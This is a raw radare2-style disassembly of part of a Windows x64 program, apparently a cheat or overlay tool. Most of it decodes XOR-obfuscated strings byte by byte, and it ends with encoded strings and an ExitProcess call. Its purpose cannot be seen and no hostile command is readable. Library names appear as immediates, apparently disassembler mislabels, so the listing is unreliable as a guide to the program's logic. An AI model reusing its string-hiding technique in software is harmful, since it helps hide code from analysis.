lea rcx, [rbp + 0xc68]
call fcn.1400317a0
nop
mov rdx, rax
lea rcx, [rbp + 0xd88]
call fcn.14002e540
nop
lea rcx, [rbp + 0xc68]
call fcn.1400066f0
nop
lea rcx, [rbp + 0xc88]
call fcn.1400066f0
mov dl, reloc.WLDAP32.dll_Ordinal_32
cmp r13d, 1
je 0x14002a9c0
mov byte [rbp + 0xb0], 0x59
lea rcx, [rbp + 0xb0]
call fcn.14002c170
mov byte [rbp + 0xb1], al
mov dl, 0x68
lea rcx, [rbp + 0xb0]
call fcn.14002c170
mov byte [rbp + 0xb2], al
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xb0]
call fcn.14002c170
mov byte [rbp + 0xb3], al
mov dl, 0x75
lea rcx, [rbp + 0xb0]
call fcn.14002c170
mov byte [rbp + 0xb4], al
mov dl, WSAStartup
lea rcx, [rbp + 0xb0]
call fcn.14002c170
mov byte [rbp + 0xb5], al
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xb0]
call fcn.14002c170
mov byte [rbp + 0xb6], al
mov dl, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0xb0]
call fcn.14002c170
mov byte [rbp + 0xb7], al
xor eax, eax
mov byte [rbp + 0xb8], al
xor edi, edi
nop dword [rax]
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0xb1]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp + 0xb0]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0xb1]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 7
jb 0x14002a960
mov edx, 7
lea rcx, [rbp + 0xb1]
call fcn.14002c180
mov byte [rax], 0
lea rcx, [rbp + 0xb1]
call fcn.140006740
jmp 0x14002aa6c
mov byte [rbp + 0x20], reloc.WS2_32.dll_listen
lea rcx, [rbp + 0x20]
call fcn.14002c170
mov byte [rbp + 0x21], al
mov dl, 0x68
lea rcx, [rbp + 0x20]
call fcn.14002c170
mov byte [rbp + 0x22], al
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x20]
call fcn.14002c170
mov byte [rbp + 0x23], al
mov dl, 0x75
lea rcx, [rbp + 0x20]
call fcn.14002c170
mov byte [rbp + 0x24], al
mov dl, WSAStartup
lea rcx, [rbp + 0x20]
call fcn.14002c170
mov byte [rbp + 0x25], al
mov dl, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x20]
call fcn.14002c170
mov byte [rbp + 0x26], al
xor eax, eax
mov byte [rbp + 0x27], al
xor edi, edi
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x21]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp + 0x20]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x21]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 6
jb 0x14002aa20
mov edx, 6
lea rcx, [rbp + 0x21]
call fcn.14002c180
mov byte [rax], 0
lea rcx, [rbp + 0x21]
call fcn.140006740
mov rdx, rax
lea rcx, [rbp + 0xd88]
call fcn.14002e520
mov edx, esi
lea rcx, [rbp + 0xaa8]
call fcn.1400058b0
nop
mov rdx, rax
lea rcx, [rbp + 0xd88]
call fcn.14002e540
nop
lea rcx, [rbp + 0xaa8]
call fcn.1400066f0
mov dl, reloc.WLDAP32.dll_Ordinal_32
cmp esi, 1
je 0x14002abe0
mov byte [rbp + 0xf0], reloc.WLDAP32.dll_Ordinal_35
lea rcx, [rbp + 0xf0]
call fcn.14002c170
mov byte [rbp + 0xf1], al
mov dl, 0x6d
lea rcx, [rbp + 0xf0]
call fcn.14002c170
mov byte [rbp + 0xf2], al
mov dl, 0x69
lea rcx, [rbp + 0xf0]
call fcn.14002c170
mov byte [rbp + 0xf3], al
mov dl, WSAGetLastError
lea rcx, [rbp + 0xf0]
call fcn.14002c170
mov byte [rbp + 0xf4], al
mov dl, 0x75
lea rcx, [rbp + 0xf0]
call fcn.14002c170
mov byte [rbp + 0xf5], al
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xf0]
call fcn.14002c170
mov byte [rbp + 0xf6], al
mov dl, 0x65
lea rcx, [rbp + 0xf0]
call fcn.14002c170
mov byte [rbp + 0xf7], al
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xf0]
call fcn.14002c170
mov byte [rbp + 0xf8], al
mov dl, reloc.WLDAP32.dll_Ordinal_41
lea rcx, [rbp + 0xf0]
call fcn.14002c170
mov byte [rbp + 0xf9], al
xor eax, eax
mov byte [rbp + 0xfa], al
xor edi, edi
nop dword [rax]
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0xf1]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp + 0xf0]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0xf1]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 9
jb 0x14002ab80
mov edx, 9
lea rcx, [rbp + 0xf1]
call fcn.14002c180
mov byte [rax], 0
lea rcx, [rbp + 0xf1]
call fcn.140006740
jmp 0x14002affb
mov byte [rbp + 0xc0], Ordinal_41
lea rcx, [rbp + 0xc0]
call fcn.14002c170
mov byte [rbp + 0xc1], al
mov dl, 0x6d
lea rcx, [rbp + 0xc0]
call fcn.14002c170
mov byte [rbp + 0xc2], al
mov dl, 0x69
lea rcx, [rbp + 0xc0]
call fcn.14002c170
mov byte [rbp + 0xc3], al
mov dl, WSAGetLastError
lea rcx, [rbp + 0xc0]
call fcn.14002c170
mov byte [rbp + 0xc4], al
mov dl, 0x75
lea rcx, [rbp + 0xc0]
call fcn.14002c170
mov byte [rbp + 0xc5], al
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xc0]
call fcn.14002c170
mov byte [rbp + 0xc6], al
mov dl, 0x65
lea rcx, [rbp + 0xc0]
call fcn.14002c170
mov byte [rbp + 0xc7], al
mov dl, reloc.WLDAP32.dll_Ordinal_41
lea rcx, [rbp + 0xc0]
call fcn.14002c170
mov byte [rbp + 0xc8], al
xor eax, eax
mov byte [rbp + 0xc9], al
xor edi, edi
nop
mov rdx, rdi
lea rcx, [rbp + 0xc1]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp + 0xc0]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0xc1]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 8
jb 0x14002ac90
mov edx, 8
lea rcx, [rbp + 0xc1]
call fcn.14002c180
lea rcx, [rbp + 0xc1]
jmp 0x14002aff3
test esi, esi
je 0x14002b00a
mov edx, esi
lea rcx, [rbp + 0xbc8]
call fcn.1400058b0
mov r14, rax
mov byte [rsp + 0x68], reloc.WLDAP32.dll_Ordinal_50
mov dl, 0xa
lea rcx, [rsp + 0x68]
call fcn.14002c170
mov byte [rsp + 0x69], al
mov dl, Ordinal_41
lea rcx, [rsp + 0x68]
call fcn.14002c170
mov byte [rsp + 0x6a], al
xor eax, eax
mov byte [rsp + 0x6b], al
xor edi, edi
nop
mov rdx, rdi
lea rcx, [rsp + 0x69]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rsp + 0x68]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x69]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 2
jb 0x14002ad30
mov edx, 2
lea rcx, [rsp + 0x69]
call fcn.14002c180
mov byte [rax], 0
lea rcx, [rsp + 0x69]
call fcn.140006740
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0xac8]
call fcn.1400317a0
nop
mov rdx, rax
lea rcx, [rbp + 0xd88]
call fcn.14002e540
nop
lea rcx, [rbp + 0xac8]
call fcn.1400066f0
nop
lea rcx, [rbp + 0xbc8]
call fcn.1400066f0
mov dl, reloc.WLDAP32.dll_Ordinal_32
cmp esi, 1
je 0x14002aef0
mov byte [rbp + 0xe0], 0x78
lea rcx, [rbp + 0xe0]
call fcn.14002c170
mov byte [rbp + 0xe1], al
mov dl, 0x6d
lea rcx, [rbp + 0xe0]
call fcn.14002c170
mov byte [rbp + 0xe2], al
mov dl, 0x69
lea rcx, [rbp + 0xe0]
call fcn.14002c170
mov byte [rbp + 0xe3], al
mov dl, WSAGetLastError
lea rcx, [rbp + 0xe0]
call fcn.14002c170
mov byte [rbp + 0xe4], al
mov dl, 0x75
lea rcx, [rbp + 0xe0]
call fcn.14002c170
mov byte [rbp + 0xe5], al
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xe0]
call fcn.14002c170
mov byte [rbp + 0xe6], al
mov dl, 0x65
lea rcx, [rbp + 0xe0]
call fcn.14002c170
mov byte [rbp + 0xe7], al
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xe0]
call fcn.14002c170
mov byte [rbp + 0xe8], al
mov dl, reloc.WLDAP32.dll_Ordinal_41
lea rcx, [rbp + 0xe0]
call fcn.14002c170
mov byte [rbp + 0xe9], al
xor eax, eax
mov byte [rbp + 0xea], al
xor edi, edi
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0xe1]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp + 0xe0]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0xe1]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 9
jb 0x14002ae90
mov edx, 9
lea rcx, [rbp + 0xe1]
call fcn.14002c180
mov byte [rax], 0
lea rcx, [rbp + 0xe1]
call fcn.140006740
jmp 0x14002affb
mov byte [rbp + 0xd0], 0x63
lea rcx, [rbp + 0xd0]
call fcn.14002c170
mov byte [rbp + 0xd1], al
mov dl, 0x6d
lea rcx, [rbp + 0xd0]
call fcn.14002c170
mov byte [rbp + 0xd2], al
mov dl, 0x69
lea rcx, [rbp + 0xd0]
call fcn.14002c170
mov byte [rbp + 0xd3], al
mov dl, WSAGetLastError
lea rcx, [rbp + 0xd0]
call fcn.14002c170
mov byte [rbp + 0xd4], al
mov dl, 0x75
lea rcx, [rbp + 0xd0]
call fcn.14002c170
mov byte [rbp + 0xd5], al
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xd0]
call fcn.14002c170
mov byte [rbp + 0xd6], al
mov dl, 0x65
lea rcx, [rbp + 0xd0]
call fcn.14002c170
mov byte [rbp + 0xd7], al
mov dl, reloc.WLDAP32.dll_Ordinal_41
lea rcx, [rbp + 0xd0]
call fcn.14002c170
mov byte [rbp + 0xd8], al
xor eax, eax
mov byte [rbp + 0xd9], al
xor edi, edi
nop
mov rdx, rdi
lea rcx, [rbp + 0xd1]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp + 0xd0]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0xd1]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 8
jb 0x14002afa0
mov edx, 8
lea rcx, [rbp + 0xd1]
call fcn.14002c180
lea rcx, [rbp + 0xd1]
mov byte [rax], 0
call fcn.140006740
mov rdx, rax
lea rcx, [rbp + 0xd88]
call fcn.14002e520
lea rcx, [rbp + 0xd88]
call fcn.14002e440
mov rcx, rax
call fcn.140056580
nop
lea rcx, [rbp + 0xd88]
call fcn.1400066f0
lea rcx, [0x140160288]
call fcn.14002e440
mov rcx, rax
call fcn.1400805a0
xor ecx, ecx
call fcn.140047120
test al, al
je 0x14002b154
movdqa xmm1, xmmword [0x14014c180]
movdqu xmmword [rbp + 0x2d8], xmm1
movdqa xmm2, xmmword [0x14014bcb0]
movdqu xmmword [rbp + 0x2e8], xmm2
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x2d9], al
xor byte [rbp + 0x2da], cl
xor byte [rbp + 0x2db], cl
xor byte [rbp + 0x2dc], cl
xor byte [rbp + 0x2dd], cl
xor byte [rbp + 0x2de], cl
xor byte [rbp + 0x2df], cl
xor byte [rbp + 0x2e0], cl
xor byte [rbp + 0x2e1], cl
xor byte [rbp + 0x2e2], cl
xor byte [rbp + 0x2e3], cl
xor byte [rbp + 0x2e4], cl
xor byte [rbp + 0x2e5], cl
xor byte [rbp + 0x2e6], cl
xor byte [rbp + 0x2e7], cl
movd eax, xmm2
xor al, cl
mov byte [rbp + 0x2e8], al
xor byte [rbp + 0x2e9], cl
xor byte [rbp + 0x2ea], cl
xor byte [rbp + 0x2eb], cl
xor byte [rbp + 0x2ec], cl
xor byte [rbp + 0x2ed], cl
xor byte [rbp + 0x2ee], cl
xor byte [rbp + 0x2ef], cl
xor byte [rbp + 0x2f0], cl
xor byte [rbp + 0x2f1], cl
xor byte [rbp + 0x2f2], cl
xor byte [rbp + 0x2f3], cl
xor byte [rbp + 0x2f4], cl
xor byte [rbp + 0x2f5], cl
xor byte [rbp + 0x2f6], cl
xor byte [rbp + 0x2f7], cl
mov byte [rbp + 0x2f8], 0
lea rcx, [rbp + 0x2d9]
call fcn.140056580
cmp byte [rbp + 0x2d0], 0
je 0x14002b251
movss xmm1, dword [0x140161a80]
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x14002b211
comiss xmm10, xmm1
jbe 0x14002b211
call fcn.1400475f0
movss xmm0, dword [rax + 0x10]
mulss xmm0, xmm13
mulss xmm0, xmm12
movss xmm1, dword [0x140161a80]
addss xmm1, xmm0
movss dword [0x140161a80], xmm1
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x14002b218
mov byte [reloc.WS2_32.dll_accept], 1
movss dword [rsp + 0x20], xmm1
movss xmm3, dword [rbp + 0xd00]
movss xmm2, dword [rbp + 0xcfc]
movss xmm1, dword [rbp + 0xcf8]
lea rcx, [rbp + 0xcc8]
call fcn.140005b40
mov rdx, rax
xor ecx, ecx
call fcn.140044370
call fcn.140083870
lea rcx, [0x1401602a8]
call fcn.14002e440
mov rcx, rax
call fcn.1400805a0
mov ecx, 1
call fcn.1400443d0
jmp 0x14002b25b
mov byte [reloc.WS2_32.dll_accept], 0
comiss xmm1, dword [0x14014b4c8]
jbe 0x14002b1b1
call fcn.1400475f0
movss xmm0, dword [rax + 0x10]
mulss xmm0, xmm13
mulss xmm0, dword [0x14014b470]
movss xmm1, dword [0x140161a80]
subss xmm1, xmm0
movss dword [0x140161a80], xmm1
jmp 0x14002b1b8
mov dword [0x140161a80], 0
lea rcx, [rbp + 0xf20]
call fcn.14001a3e0
nop
lea rcx, [rbp + 0xe58]
call fcn.1400066f0
mov r13, qword [rbp + 0x7d8]
mov r14, qword [rbp + 0x838]
cmp dword [0x14016161c], 0
je 0x14002b527
movss xmm6, dword [0x14014b5dc]
movaps xmm2, xmm6
movss xmm7, dword [0x14014b5f0]
movaps xmm1, xmm7
lea rcx, [rbp + 0x930]
call fcn.140005b30
mov byte [rbp + 0x5b0], 0x56
mov cl, reloc.WLDAP32.dll_Ordinal_46
mov dl, 0x75
movzx r8d, dl
mov r9b, 0x3e
mov r10b, 0x3f
mov r11b, reloc.WLDAP32.dll_Ordinal_50
mov bl, 0x33
xor edi, edi
xor cl, 0x56
mov byte [rbp + 0x5b1], cl
xor dl, 0x56
mov byte [rbp + 0x5b2], dl
xor r8b, 0x56
mov byte [rbp + 0x5b3], r8b
xor r9b, 0x56
mov byte [rbp + 0x5b4], r9b
xor r10b, 0x56
mov byte [rbp + 0x5b5], r10b
xor r11b, 0x56
mov byte [rbp + 0x5b6], r11b
xor bl, 0x56
mov byte [rbp + 0x5b7], bl
mov byte [rbp + 0x5b8], dil
mov rdx, rax
lea rcx, [rbp + 0x5b1]
call fcn.1400812b0
test al, al
je 0x14002b344
mov dword [0x140161560], edi
cmp byte [0x140161338], dil
je 0x14002b344
mov byte [0x140161338], dil
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.1400551a0
mov byte [rbp + 0x524], 0x7a
mov al, reloc.WLDAP32.dll_Ordinal_50
mov cl, 0x33
mov dl, 0x3e
mov r8b, 0x3f
xor al, 0x7a
mov byte [rbp + 0x525], al
xor cl, 0x7a
mov byte [rbp + 0x526], cl
xor dl, 0x7a
mov byte [rbp + 0x527], dl
xor r8b, 0x7a
mov byte [rbp + 0x528], r8b
mov byte [rbp + 0x529], dil
lea rdx, [0x140160330]
lea rcx, [rbp + 0x525]
call fcn.1400812b0
test al, al
je 0x14002b3bb
call fcn.14001f9d0
xor ecx, ecx
mov dword [0x140161560], ecx
mov dl, 1
mov byte [0x140161338], dl
jmp 0x14002b3c8
mov ecx, dword [0x140161560]
movzx edx, byte [0x140161338]
movups xmm0, xmmword [rbp + 0xcf8]
movdqa xmmword [rbp + 0x330], xmm0
lea r8, [rbp + 0x330]
call fcn.14001f9e0
movaps xmm2, xmm6
movaps xmm1, xmm7
lea rcx, [rbp + 0x938]
call fcn.140005b30
mov byte [rbp + 0x5f0], reloc.WLDAP32.dll_Ordinal_60
mov cl, 0x44
mov dl, Ordinal_32
movzx r8d, dl
mov r9b, 0x46
mov r10b, 0x53
movzx r11d, r10b
mov bl, 0x51
xor cl, 0x3c
mov byte [rbp + 0x5f1], cl
xor dl, 0x3c
mov byte [rbp + 0x5f2], dl
xor r8b, 0x3c
mov byte [rbp + 0x5f3], r8b
xor r9b, 0x3c
mov byte [rbp + 0x5f4], r9b
xor r10b, 0x3c
mov byte [rbp + 0x5f5], r10b
xor r11b, 0x3c
mov byte [rbp + 0x5f6], r11b
xor bl, 0x3c
mov byte [rbp + 0x5f7], bl
mov byte [rbp + 0x5f8], dil
mov rdx, rax
lea rcx, [rbp + 0x5f1]
call fcn.1400812b0
test al, al
je 0x14002b487
mov dword [0x1401614e0], edi
cmp byte [0x14016133b], dil
je 0x14002b487
mov byte [0x14016133b], dil
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.1400551a0
mov byte [rbp + 0x51c], 2
mov al, 0x58
mov cl, 0x4d
movzx edx, cl
mov r8b, reloc.WLDAP32.dll_Ordinal_79
xor al, 2
mov byte [rbp + 0x51d], al
xor cl, 2
mov byte [rbp + 0x51e], cl
xor dl, 2
mov byte [rbp + 0x51f], dl
xor r8b, 2
mov byte [rbp + 0x520], r8b
mov byte [rbp + 0x521], dil
lea rdx, [0x140160330]
lea rcx, [rbp + 0x51d]
call fcn.1400812b0
test al, al
je 0x14002b4ff
call fcn.14001f9d0
xor ecx, ecx
mov dword [0x1401614e0], ecx
mov dl, 1
mov byte [0x14016133b], dl
jmp 0x14002b50c
mov ecx, dword [0x1401614e0]
movzx edx, byte [0x14016133b]
movups xmm0, xmmword [rbp + 0xcf8]
movdqa xmmword [rbp + 0x330], xmm0
lea r8, [rbp + 0x330]
call fcn.14001f9e0
call fcn.14004d450
lea rax, [rbp + 0xd18]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xd10]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xd14]
movss xmm2, dword [0x140160118]
movss xmm1, dword [0x1401601e4]
movss xmm0, dword [0x140160124]
call fcn.140043b50
movss dword [rsp + 0x20], xmm10
movss xmm3, dword [rbp + 0xd18]
movss xmm2, dword [rbp + 0xd10]
movss xmm1, dword [rbp + 0xd14]
lea rcx, [rbp + 0xcd8]
call fcn.140005b40
movups xmm1, xmmword [rax]
movups xmmword [rbp + 0xcf8], xmm1
cmp byte [0x1401613cd], 0
je 0x14002b5f2
movss xmm0, dword [0x140160124]
comiss xmm0, xmm10
jb 0x14002b5c0
mov dword [0x140160124], 0
jmp 0x14002b5f2
call fcn.1400475f0
movss xmm1, dword [0x1401601d4]
mulss xmm1, dword [rax + 0x10]
divss xmm1, xmm13
movss xmm0, dword [0x140160124]
addss xmm0, xmm1
movss dword [0x140160124], xmm0
movups xmm1, xmmword [rbp + 0xcf8]
movdqa xmmword [rbp + 0x330], xmm1
movss xmm0, dword [rbp + 0xd18]
movss dword [rsp + 0x20], xmm0
movss xmm3, dword [rbp + 0xd10]
movss xmm2, dword [rbp + 0xd14]
lea rdx, [rbp + 0x330]
mov rcx, r14
call fcn.14001f570
cmp byte [0x1401613c4], 0
je 0x14002b89d
cmp dword [reloc.WS2_32.dll_closesocket], 0
je 0x14002b89d
lea rcx, [rbp + 0x940]
call fcn.140053e30
movss xmm6, dword [rax + 4]
lea rcx, [rbp + 0x948]
call fcn.140053fe0
addss xmm6, dword [rax + 4]
movd xmm0, dword [reloc.WS2_32.dll_closesocket]
cvtdq2ps xmm0, xmm0
subss xmm6, xmm0
lea rcx, [rbp + 0x950]
call fcn.140053e30
movaps xmm2, xmm6
movss xmm1, dword [rax]
lea rcx, [rbp + 0xd20]
call fcn.140005b30
lea rcx, [rbp + 0x958]
call fcn.140053e30
movss xmm7, dword [rax + 4]
lea rcx, [rbp + 0x960]
call fcn.140053fe0
addss xmm7, dword [rax + 4]
lea rcx, [rbp + 0x9f8]
call fcn.140053e30
movss xmm6, dword [rax]
lea rcx, [rbp + 0x970]
call fcn.140053fe0
addss xmm6, dword [rax]
movaps xmm2, xmm7
movaps xmm1, xmm6
lea rcx, [rbp + 0xd28]
call fcn.140005b30
movss xmm0, dword [0x1401601f4]
ucomiss xmm0, xmm9
jp 0x14002b761
jne 0x14002b761
movss dword [rsp + 0x20], xmm10
movss xmm3, dword [0x140160118]
movss xmm2, dword [0x1401601e4]
movss xmm1, dword [0x140160124]
lea rcx, [rbp + 0xe48]
call fcn.140005b70
call fcn.1400477e0
mov rbx, rax
lea rcx, [rbp + 0xe48]
call fcn.140005b60
mov dword [rsp + 0x28], 0
movss dword [rsp + 0x20], xmm9
mov r9d, eax
lea r8, [rbp + 0xd28]
lea rdx, [rbp + 0xd20]
mov rcx, rbx
call fcn.140073990
jmp 0x14002b89d
movss xmm8, dword [0x140160124]
xor r14d, r14d
lea rcx, [rbp + 0x820]
call fcn.140053e30
movss xmm6, dword [rax]
lea rcx, [rbp + 0x830]
call fcn.140053fe0
addss xmm6, dword [rax]
comiss xmm6, xmm9
jbe 0x14002b88d
movaps xmm7, xmm9
nop dword [rax + rax]
call fcn.1400477e0
mov rsi, rax
movss dword [rsp + 0x20], xmm10
movss xmm3, dword [0x140160118]
movss xmm2, dword [0x1401601e4]
movaps xmm1, xmm8
lea rcx, [rbp + 0xce8]
call fcn.140005b70
mov rcx, rax
call fcn.140005b60
mov edi, eax
movss xmm1, dword [rbp + 0xd20]
addss xmm1, xmm10
addss xmm1, xmm7
movss xmm2, dword [rbp + 0xd2c]
lea rcx, [rbp + 0x978]
call fcn.140005b30
mov rbx, rax
movss xmm1, dword [rbp + 0xd20]
addss xmm1, xmm7
movss xmm2, dword [rbp + 0xd24]
lea rcx, [rbp + 0x980]
call fcn.140005b30
movss dword [rsp + 0x20], xmm10
mov r9d, edi
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.140073720
movss xmm1, dword [0x1401601f4]
cvtps2pd xmm1, xmm1
mulsd xmm1, qword [0x14014b4f0]
cvtps2pd xmm0, xmm8
addsd xmm1, xmm0
cvtpd2ps xmm8, xmm1
inc r14d
movd xmm7, r14d
cvtdq2ps xmm7, xmm7
lea rcx, [rbp + 0x820]
call fcn.140053e30
movss xmm6, dword [rax]
lea rcx, [rbp + 0x830]
call fcn.140053fe0
addss xmm6, dword [rax]
comiss xmm6, xmm7
ja 0x14002b7a0
lea r14, [r13 + 0xc8]
movss xmm8, dword [0x14014b620]
movups xmm0, xmmword [rbp + 0xcf8]
movdqa xmmword [rbp + 0x330], xmm0
lea rcx, [rbp + 0x330]
call fcn.14001da80
call fcn.140053460
mov rbx, qword [rbp + 0x828]
mov r12, qword [rbp + 0x818]
call fcn.14004c7f0
call fcn.140047600
mov rcx, rax
call fcn.14007a0b0
test dword [rbx], 0x400
je 0x14002b8f3
call fcn.14005e070
xor edx, edx
xor ecx, ecx
call fcn.14005e4d0
mov rcx, qword [0x140161900]
mov rax, qword [rcx]
mov r9, qword [rax + 0x40]
xor r8d, r8d
lea edx, [r8 + 1]
call r9
cmp dword [rbp + 0xe20], 0x12
jne 0x140022540
call fcn.14007b330
call fcn.14007bb50
xor ecx, ecx
call fcn.140047590
call fcn.140020040
mov rcx, qword [rbp + 0x7e8]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0xd48]
mov rcx, qword [rbp + 0xd70]
call qword [sym.imp.USER32.dll_UnregisterClassA]
call fcn.14001d1d0
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x14002b964
xor ecx, ecx
call fcn.1400083f0
mov byte [rbp + 0x7a0], 0x46
mov al, 0x60
mov cl, reloc.WLDAP32.dll_Ordinal_35
mov dl, Ordinal_41
mov r8b, reloc.WLDAP32.dll_Ordinal_50
mov r9b, 0x34
mov r10b, 0x3f
mov r11b, 0x7b
mov bl, reloc.WLDAP32.dll_Ordinal_32
mov dil, Ordinal_41
mov sil, 0x2a
mov r14b, 0x35
movzx r15d, cl
xor r12d, r12d
xor al, 0x46
mov byte [rbp + 0x7a1], al
xor cl, 0x46
mov byte [rbp + 0x7a2], cl
xor dl, 0x46
mov byte [rbp + 0x7a3], dl
xor r8b, 0x46
mov byte [rbp + 0x7a4], r8b
xor r9b, 0x46
mov byte [rbp + 0x7a5], r9b
xor r10b, 0x46
mov byte [rbp + 0x7a6], r10b
xor r11b, 0x46
mov byte [rbp + 0x7a7], r11b
xor bl, 0x46
mov byte [rbp + 0x7a8], bl
xor dil, 0x46
mov byte [rbp + 0x7a9], dil
xor sil, 0x46
mov byte [rbp + 0x7aa], sil
xor r14b, 0x46
mov byte [rbp + 0x7ab], r14b
xor r15b, 0x46
mov byte [rbp + 0x7ac], r15b
mov byte [rbp + 0x7ad], r12b
xor edx, edx
lea rcx, [rbp + 0xae8]
call fcn.140006940
mov r12, rax
mov byte [rbp + 0x790], WSASetLastError
mov cl, 0x42
mov dl, 0x18
mov r8b, reloc.WLDAP32.dll_Ordinal_30
mov r9b, 8
mov r10b, Ordinal_33
movzx r11d, r8b
mov bl, 0x52
mov dil, 5
mov sil, reloc.WLDAP32.dll_Ordinal_26
mov r14b, 4
mov al, 9
mov r15b, 0x50
xor r13d, r13d
xor cl, 0x6d
mov byte [rbp + 0x791], cl
xor dl, 0x6d
mov byte [rbp + 0x792], dl
xor r8b, 0x6d
mov byte [rbp + 0x793], r8b
xor r9b, 0x6d
mov byte [rbp + 0x794], r9b
xor r10b, 0x6d
mov byte [rbp + 0x795], r10b
xor r11b, 0x6d
mov byte [rbp + 0x796], r11b
xor bl, 0x6d
mov byte [rbp + 0x797], bl
xor dil, 0x6d
mov byte [rbp + 0x798], dil
xor sil, 0x6d
mov byte [rbp + 0x799], sil
xor r14b, 0x6d
mov byte [rbp + 0x79a], r14b
xor al, 0x6d
mov byte [rbp + 0x79b], al
xor r15b, 0x6d
mov byte [rbp + 0x79c], r15b
mov byte [rbp + 0x79d], r13b
mov r8, r12
lea rdx, [rbp + 0x791]
lea rcx, [rbp + 0xb38]
call fcn.1400317a0
nop
lea r8, [rbp + 0x7a1]
mov rdx, rax
lea rcx, [rbp + 0xb58]
call fcn.1400311e0
mov r11, rax
movdqa xmm1, xmmword [0x14014bb90]
movdqu xmmword [rbp + 0x360], xmm1
movdqa xmm2, xmmword [0x14014bb40]
movdqu xmmword [rbp + 0x370], xmm2
mov dl, reloc.WS2_32.dll_WSAStartup
mov r8b, reloc.WLDAP32.dll_Ordinal_33
mov r9b, 0x24
mov r10b, 0x77
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x361], al
xor byte [rbp + 0x362], cl
xor byte [rbp + 0x363], cl
xor byte [rbp + 0x364], cl
xor byte [rbp + 0x365], cl
xor byte [rbp + 0x366], cl
xor byte [rbp + 0x367], cl
xor byte [rbp + 0x368], cl
xor byte [rbp + 0x369], cl
xor byte [rbp + 0x36a], cl
xor byte [rbp + 0x36b], cl
xor byte [rbp + 0x36c], cl
xor byte [rbp + 0x36d], cl
xor byte [rbp + 0x36e], cl
xor byte [rbp + 0x36f], cl
movd eax, xmm2
xor al, cl
mov byte [rbp + 0x370], al
xor byte [rbp + 0x371], cl
xor byte [rbp + 0x372], cl
xor byte [rbp + 0x373], cl
xor byte [rbp + 0x374], cl
xor byte [rbp + 0x375], cl
xor byte [rbp + 0x376], cl
xor byte [rbp + 0x377], cl
xor byte [rbp + 0x378], cl
xor byte [rbp + 0x379], cl
xor byte [rbp + 0x37a], cl
xor byte [rbp + 0x37b], cl
xor byte [rbp + 0x37c], cl
xor byte [rbp + 0x37d], cl
xor byte [rbp + 0x37e], cl
xor byte [rbp + 0x37f], cl
xor dl, cl
mov byte [rbp + 0x380], dl
xor r8b, cl
mov byte [rbp + 0x381], r8b
xor r9b, cl
mov byte [rbp + 0x382], r9b
xor r10b, cl
mov byte [rbp + 0x383], r10b
mov byte [rbp + 0x384], r13b
mov r8, r11
lea rdx, [rbp + 0x361]
lea rcx, [rbp + 0xba8]
call fcn.1400317a0
mov rdx, rax
lea rcx, [rbp + 0xb88]
call fcn.1400079c0
lea rcx, [rbp + 0xb88]
call fcn.1400066f0
nop
lea rcx, [rbp + 0xb58]
call fcn.1400066f0
nop
lea rcx, [rbp + 0xb38]
call fcn.1400066f0
nop
lea rcx, [rbp + 0xae8]
call fcn.1400066f0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]